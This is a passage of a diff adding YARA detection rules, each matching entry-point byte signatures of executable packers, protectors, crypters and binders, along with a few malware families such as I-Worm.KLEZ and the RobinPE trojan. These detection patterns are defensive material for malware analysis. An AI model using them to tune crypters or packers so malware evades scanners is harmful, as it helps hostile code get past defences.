+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Duals_eXe_Encryptor_10b__Dual_
+{
+	meta:
+		description = "Dual's eXe Encryptor 1.0b -> Dual"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32__Microsoft_Visual_Basic_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)"
+	strings:
+		$0 = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v039_final_relocated_image_base__By_Dwing_c2005_h2_
+{
+	meta:
+		description = "WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+	condition:
+		$0 at entrypoint
+}
+rule _PEMangle_
+{
+	meta:
+		description = "PEMangle"
+	strings:
+		$0 = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _GPInstall_v50332_
+{
+	meta:
+		description = "GP-Install v5.0.3.32"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+	condition:
+		$0
+}
+rule _Obsidium_1337__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Anskya_Binder_v11__Anskya_
+{
+	meta:
+		description = "Anskya Binder v1.1 -> Anskya"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v160a_
+{
+	meta:
+		description = "Armadillo v1.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v210__Ding_Boy_
+{
+	meta:
+		description = "DBPE v2.10 -> Ding Boy"
+	strings:
+		$0 = {EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v133_
+{
+	meta:
+		description = "PECompact v1.33"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_team_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl team"
+	strings:
+		$0 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+	condition:
+		$0
+}
+rule _PEtite_v22_
+{
+	meta:
+		description = "PEtite v2.2"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ACProtect_109__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_
+{
+	meta:
+		description = "ASProtect v1.1"
+	strings:
+		$0 = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V093__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v13beta__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.3beta -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CHECKPRG_c_1992_
+{
+	meta:
+		description = "CHECKPRG (c) 1992"
+	strings:
+		$0 = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__RobinPE_
+{
+	meta:
+		description = "WARNING -> TROJAN -> RobinPE"
+	strings:
+		$0 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_Beta__v031_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 Beta ~ v0.31 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+		$1 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_111_Method_1__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 1 -> bagie[TMX]"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v12__Alexey_Solodovnikov_h1_
+{
+	meta:
+		description = "ASProtect v1.2 -> Alexey Solodovnikov (h1)"
+	strings:
+		$0 = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _nPack_v11_250_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 250 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V06__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.6 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v20__bartxt_
+{
+	meta:
+		description = "FSG v2.0 -> bart/xt"
+	strings:
+		$0 = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PE_Lock_NT_204__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PE Lock NT 2.04) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v13_
+{
+	meta:
+		description = "PEtite v1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_60_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1800_
+{
+	meta:
+		description = "Vx: Eddie.1800"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine v2.7 --> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 or $1
+}
+rule _VIRUS__IWormKLEZ_
+{
+	meta:
+		description = "VIRUS - I-Worm.KLEZ"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+	condition:
+		$0
+}
+rule _EncryptPE_V22006710__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPacK_V33__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2501__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.501 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Werus_Crypter_10__Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 -> Kas"
+	strings:
+		$0 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0
+}
+rule _ILUCRYPT_v4015_exe_
+{
+	meta:
+		description = "ILUCRYPT v4.015 [exe]"
+	strings:
+		$0 = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_11__NEX_
+{
+	meta:
+		description = "N-Joy 1.1 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_v017__F_Giesen_
+{
+	meta:
+		description = "kkrunchy v0.17 -> F. Giesen"
+	strings:
+		$0 = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+	condition:
+		$0
+}
+rule _ASPack_v102a__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.02a -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Watcom_CCpp_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Watcom C/C++ DLL] --> Anorganix"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _UnderGround_Crypter__by_Booster2000_
+{
+	meta:
+		description = "UnderGround Crypter - by Booster2000"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+	condition:
+		$0
+}
+rule _ENIGMA_Protector__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector -> Sukhov Vladimir"
+	strings:
+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0
+}
+rule _PE_Packer_
+{
+	meta:
+		description = "PE Packer"
+	strings:
+		$0 = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10_
+{
+	meta:
+		description = "Vcasm-Protector 1.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v21__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.1 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_V01__ppMeat_
+{
+	meta:
+		description = "Escargot V0.1 -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_Nice_Protect_21__GPcH_Soft_
+{
+	meta:
+		description = "DotFix Nice Protect 2.1 -> GPcH Soft"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+	condition:
+		$0
+}
+rule _Obsidium_1200__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 3F 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v031a_
+{
+	meta:
+		description = "[MSLRH] v0.31a"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+		$1 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _ExeSafeguard_v10__simonzh_
+{
+	meta:
+		description = "ExeSafeguard v1.0 -> simonzh"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+	condition:
+		$0
+}
+rule _PackItBitch_10__archphase_
+{
+	meta:
+		description = "PackItBitch 1.0 -> archphase"
+	strings:
